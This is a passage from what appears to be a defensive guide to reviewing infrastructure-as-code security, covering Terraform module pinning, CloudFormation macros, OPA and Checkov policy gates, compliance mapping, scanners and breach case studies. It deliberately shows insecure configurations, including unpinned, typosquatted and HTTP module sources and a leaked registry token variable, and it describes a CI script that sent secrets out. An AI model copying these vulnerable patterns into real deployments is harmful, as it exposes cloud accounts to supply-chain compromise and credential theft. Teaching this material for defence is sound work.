15import { IAspect } from "aws-cdk-lib";
16import { CfnBucket } from "aws-cdk-lib/aws-s3";
17
18class EnforceBucketEncryption implements IAspect {
19 visit(node: cdk.IConstruct) {
20 if (node instanceof CfnBucket) {
21 const enc = node.bucketEncryption;
22 if (!enc) {
23 cdk.Annotations.of(node).addError(
24 "S3 buckets must configure bucketEncryption (KMS required).",
25 );
26 }
27 }
28 }
29}
30
31Aspects.of(app).add(new EnforceBucketEncryption());import { exec } from "child_process" is not "infrastructure configuration" — it is a program that holds cloud admin and runs arbitrary shell. Review it with the rigor you would apply to a privileged backend service, not with the rigor you apply to a YAML diff.Why are CDK Aspects a high-value review target that many reviewers miss?
10 //Module & Template Supply Chain
Terraform modules, CloudFormation templates, and Pulumi component packages are dependencies that run as part of apply. Every module source is a trust decision. Pinning by floating tag, pulling from a public registry without an allowlist, or shipping private-registry tokens in CI is how IaC supply-chain incidents happen. The attack surface is similar to npm / PyPI, with the added consequence that the blast radius is cloud admin rather than build artifacts.
1# VULNERABLE variants:
2
3# 1. Floating git ref — a maintainer force-push changes your prod.
4module "iam" {
5 source = "git::https://github.com/some-org/tf-iam.git" # no ?ref=
6}
7
8# 2. Tag pinning — tags are mutable; a compromised maintainer can move them.
9module "iam" {
10 source = "git::https://github.com/some-org/tf-iam.git?ref=v1.0.0"
11}
12
13# 3. Typosquat — a copy-paste of a popular module under a similar name.
14module "vpc" {
15 source = "terraform-aws-mo dules/vpc/aws" # note the space / homoglyph
16 version = "5.5.3"
17}
18
19# 4. HTTP (not HTTPS) source — intercept on any hop.
20module "iam" {
21 source = "http://internal-tf-registry/iam"
22}
23
24# 5. Private registry token leaked via env:
25# export TF_TOKEN_registry_company_com=<token>
26# ...and that env ends up echoed by a malicious provisioner.1# SAFER:
2
3module "vpc" {
4 source = "terraform-aws-modules/vpc/aws"
5 version = "= 5.5.3" # exact, pinned
6}
7
8module "iam" {
9 source = "git::https://github.com/acme/tf-iam.git?ref=3f8a92bcd4e51a0b72c9de4c5a1234567890abcd"
10 # Pin by full commit SHA. Renovate can bump the SHA + commit a PR
11 # so every change is a reviewable diff.
12}
13
14module "internal" {
15 source = "app.terraform.io/acme/platform/aws"
16 version = "2.14.1"
17 # Token for this registry is injected via OIDC-backed short-lived creds,
18 # not a long-lived TF_TOKEN_* env var.
19}
20
21# Repo policy (enforced via pre-commit / CI):
22# - module sources must be in an allowlist (internal registry + specific GitHub orgs)
23# - version constraints must be either "= X.Y.Z" or a full commit SHA
24# - no git:: over HTTP; no http:// sources at allModule Source Ref Types
| Ref | Immutable? | Safe to use? |
|---|---|---|
| ?ref=main | No — branches move | No — ever |
| ?ref=v1.2.3 (tag) | No — tags can be re-pushed | Only if signed + verified |
| ?ref= | Yes | Recommended for git sources |
| version = "1.2.3" (registry) | Yes — registry immutability | Recommended for registries |
| version = ">= 1.2.0" | No — picks latest | No |
| No version specified | No — floats on latest | No |
1# VULNERABLE: a Transform / Macro executes a Lambda before deploy.
2# If the Lambda's code changes or its role widens, every stack using
3# the macro silently adopts the change.
4Transform:
5 - AWS::LanguageExtensions
6 - Name: AcmeSecretsInjector
7 Parameters:
8 SecretName: prod/api/token
9
10# Review questions:
11# - Who owns AcmeSecretsInjector's Lambda code?
12# - Is it signed / versioned / immutably referenced?
13# - Does it need the permissions it has?
14# - Does a template using it need CAPABILITY_AUTO_EXPAND?
15# (Yes — that is an additional confirmation that the macro is privileged.)terraform.lock.hcl in the repo root pins providers by exact version + checksum. A module-lock equivalent does not exist natively — you build it via pinning + Renovate + a pre-merge policy check. Maintain an inventory of every external module source your org uses, just as you would for application dependencies. A change to that inventory should be a reviewable event.Your repo pins a module by tag: `source = "...?ref=v2.4.1"`. A scanner flags this. Why?
11 //Policy-as-Code Gates
Manual review does not scale past a handful of engineers. Policy-as-code encodes the review checklist as executable rules that run automatically on every PR, produce a deterministic pass/fail signal, and — critically — block merge when they fail. Done well, a policy engine replaces thousands of review comments with one rule. Done badly, it becomes a noisy linter that people silence.
1# opa / conftest policy against a terraform plan JSON
2package terraform.s3
3
4# Find every planned S3 bucket resource
5buckets := [r |
6 r := input.resource_changes[_]
7 r.type == "aws_s3_bucket"
8 r.change.actions[_] != "delete"
9]
10
11# Public access block resources in the same plan
12pabs := {pab.change.after.bucket |
13 pab := input.resource_changes[_]
14 pab.type == "aws_s3_bucket_public_access_block"
15 pab.change.actions[_] != "delete"
16}
17
18deny[msg] {
19 b := buckets[_]
20 not b.change.after.bucket in pabs
21 msg := sprintf(
22 "S3 bucket %q is missing aws_s3_bucket_public_access_block (block_*_* == true).",
23 [b.change.after.bucket],
24 )
25}
26
27# Run locally: terraform show -json plan.out > plan.json
28# conftest test plan.json --policy policy/1# checkov/custom_checks/NoWildcardIamInCiCd.py
2from checkov.common.models.enums import CheckCategories, CheckResult
3from checkov.terraform.checks.resource.base_resource_check import BaseResourceCheck
4
5class NoWildcardIamInCiCd(BaseResourceCheck):
6 def __init__(self):
7 super().__init__(
8 name="Ensure IAM policies do not use Action: '*' or Resource: '*'",
9 id="ACME_IAM_001",
10 categories=[CheckCategories.IAM],
11 supported_resources=["aws_iam_role_policy", "aws_iam_policy"],
12 )
13
14 def scan_resource_conf(self, conf):
15 raw = conf.get("policy", [""])[0]
16 if not isinstance(raw, str):
17 return CheckResult.PASSED # document-resource form handled elsewhere
18 if '"*"' in raw and ('"Action"' in raw or '"Resource"' in raw):
19 return CheckResult.FAILED
20 return CheckResult.PASSED
21
22check = NoWildcardIamInCiCd()1# .github/workflows/iac-policy.yaml
2name: iac-policy
3on:
4 pull_request:
5 paths: ["terraform/**", "cdk/**"]
6
7permissions:
8 contents: read
9 pull-requests: write
10
11jobs:
12 policy:
13 runs-on: ubuntu-latest
14 steps:
15 - uses: actions/checkout@<pinned SHA>
16
17 - uses: hashicorp/setup-terraform@<pinned SHA>
18 with:
19 terraform_version: 1.7.5
20
21 - name: Plan
22 run: |
23 terraform init -backend=false
24 terraform plan -out=plan.out
25 terraform show -json plan.out > plan.json
26
27 - name: Checkov
28 uses: bridgecrewio/checkov-action@<pinned SHA>
29 with:
30 file: plan.json
31 soft_fail: false # blocking
32 skip_check: "" # do not skip globally
33 external_checks_dirs: policy/checkov
34
35 - name: OPA / conftest
36 run: |
37 curl -sL -o /usr/local/bin/conftest https://github.com/open-policy-agent/conftest/releases/download/v0.49.1/conftest
38 chmod +x /usr/local/bin/conftest
39 conftest test plan.json --policy policy/opa
40
41 - name: tfsec
42 uses: aquasecurity/tfsec-action@<pinned SHA>
43 with:
44 soft_fail: false
45
46# Waivers: a policy failure can only be bypassed by adding a time-bounded,
47# ticket-linked exception in policy/waivers.yaml — reviewed and merged
48# separately via CODEOWNERS on that file.- Run scanners against
terraform planJSON, not just source. The plan is the ground-truth of what will be applied, including resolved variables and module expansions. - Make the gate blocking. A warning-only gate is documentation. A blocking gate with a clear waiver process is a control.
- Waivers must be time-bounded, linked to a ticket, and reviewed separately (CODEOWNERS on the waiver file). "Skip check" comments inline in Terraform are a policy anti-pattern — they rot and they hide.
- Layer tools.
tfsec,checkov,trivy config, andkicsoverlap but each catches findings the others miss. OPA/conftest is where you encode your org-specific rules that no scanner knows about. - Use CDK Aspects / Pulumi policy packs for the real-code tools. They catch violations at synth/preview time with the object tree in hand, which is easier than re-parsing the template.
- Measure false-positive rate. A policy with a 30% false-positive rate trains engineers to click "waive" without thinking. Prune noisy rules before they poison the signal.
12 //Compliance Mapping
IaC findings usually map cleanly onto external control frameworks (CIS AWS Benchmark, NIST 800-53, PCI-DSS, SOC 2). The mapping matters for two reasons: it helps you prioritize — a missing encryption control is also a PCI-DSS 3.5 violation, not just a Checkov warning — and it gives auditors and engineers a shared vocabulary. When the controls database, the scanner output, and the remediation ticket all reference the same control ID, audits stop being translation exercises.
Common IaC Findings → Compliance Controls
| Finding | CIS AWS | NIST 800-53 | PCI-DSS v4 | SOC 2 |
|---|---|---|---|---|
| CloudTrail not enabled org-wide | 3.1 | AU-2, AU-12 | 10.2 | CC7.2 |
| S3 bucket public access not blocked | 2.1.5 | AC-3, SC-7 | 1.2.1 | CC6.6 |
| RDS storage not encrypted | 2.3.1 | SC-28 | 3.5.1 | CC6.1 |
| IAM password policy weak | 1.8–1.11 | IA-5 | 8.3 | CC6.1 |
| IAM policy allows *:* | 1.16 | AC-6 (least privilege) | 7.2 | CC6.3 |
| Security group open to 0.0.0.0/0 on admin port | 5.2 | SC-7 | 1.2.1 | CC6.6 |
| EBS volumes not encrypted | 2.2.1 | SC-28 | 3.5.1 | CC6.1 |
| VPC flow logs disabled | 3.9 | AU-12, SI-4 | 10.3 | CC7.2 |
| Cross-account trust without ExternalId or OrgID | 1.22 (spirit of) | AC-3, AC-4 | 7.2 | CC6.3 |
| No KMS key rotation | 3.8 | SC-12 | 3.6 | CC6.1 |
If you run Checkov, tfsec, or a Cloud Security Posture Management (CSPM) tool, each finding it produces usually already carries a control-framework tag. Plumbing those tags into your ticket tracker — so that a finding filed as "CKV_AWS_17" is also automatically tagged "PCI-3.5.1" and "NIST SC-28" — is low-cost tooling that pays off dramatically in audit cycles.
storage_encrypted = true maps to NIST SC-28 and PCI-DSS 3.5.1 has a sharper argument than "the scanner complained." Framing findings in the same vocabulary as the company's compliance commitments is the fastest way to get them prioritized, funded, and remediated.Why tag IaC findings with control IDs in the ticket tracker even when the issue is obvious to engineers?
13 //Tools, Case Studies & Review Checklist
A short list of tools covers the overwhelming majority of practical IaC review. Layer two or three — not all of them — and wire them into PR checks with a blocking gate. The specific choice matters less than the fact that something is actually preventing a merge on fail.
- Checkov — broad rule set across Terraform, CloudFormation, Kubernetes, Helm, Dockerfile, Serverless, Bicep. Good default.
- tfsec — Terraform-specific, fast, plain-English output. Now distributed as part of Trivy.
- Trivy IaC — Aqua's scanner; supports Terraform, CloudFormation, Kubernetes, Helm, and Docker in one binary. Integrates with many registries.
- KICS — Checkmarx's open-source scanner; strong on Kubernetes and CloudFormation, with large rule coverage.
- cfn-nag / cfn-guard — CloudFormation-native. cfn-guard 2.x lets you write policies against a template or a deployment plan.
- Terrascan — Tenable's scanner; ships with OPA-compatible policies and strong multi-cloud coverage.
- OPA / conftest — generic policy engine; use for org-specific rules the commercial scanners do not know about.
- Sentinel — Terraform Cloud/Enterprise's policy engine; integrates at the run level with mandatory / advisory modes.
- tflint — not security-focused but catches correctness bugs (undefined modules, bad provider references) that often accompany security ones.
- Snyk IaC / Wiz IaC / Prisma Cloud IaC — commercial scanners with drift detection against the deployed cloud state, which is otherwise hard to get from open source.
- gitleaks / trufflehog — run these on every commit touching IaC paths; they catch the secrets your IaC-specific scanners were not looking for.
- AWS IAM Access Analyzer — validates IAM policies, generates least-privilege policies from CloudTrail, and detects externally shared resources. Free and underused.
The real-world incident list is unfortunately consistent. The same five or six patterns — hardcoded credentials, public storage, wildcard IAM, missing encryption, over-trusting cross-account roles, unpinned dependencies — account for the overwhelming majority of public IaC-driven breaches. Each of the studies below fits into one of the earlier sections of this guide.
s3:* on a read-only service should be a terraform plan-time finding, not a post-incident one..tf files.bash uploader script exfiltrated CI environment variables — including Terraform Cloud tokens, AWS keys, and GCP service accounts — from thousands of pipelines. Review lesson: any script fetched from an external host with curl | bash is a floating supply-chain dependency. Pin by SHA-verified artifact, and scope your pipeline secrets so a single CI job cannot read your entire IaC state.aws_s3_bucket_public_access_block with all four fields set should be non-optional, enforced by policy-as-code, and monitored as drift against the cloud state — not just at plan time.aws_s3_bucket has a companion public_access_block · RDS/EBS/ES/EKS envelope encryption is explicit · Security groups have no 0.0.0.0/0 without justification · IAM policies have no *:* and use structured documents · Cross-account trusts carry aws:PrincipalOrgID or sts:ExternalId · Modules pinned by exact version or full SHA · Providers pinned in required_providers · Provisioners / local-exec avoided; where required, inputs flow through env · Policy-as-code gate is blocking, with time-bounded, reviewed waivers · Scanners layered (Checkov + tfsec + custom OPA) · Findings mapped to CIS/NIST/PCI/SOC 2 controls in the tracker.IaC security is, for the most part, the boring thing done consistently. Every finding in this guide has a known fix, a scanner rule, and a compliance control it maps to. What separates a safe cloud estate from a standing breach is not whether the team knows the answers — it is whether a merge is actually blocked when someone forgets. Lock the checklist into policy-as-code, make the pipeline refuse to apply changes that fail it, and review what is left. That review — with the heuristics in this guide in hand — is where the remaining human judgment lives.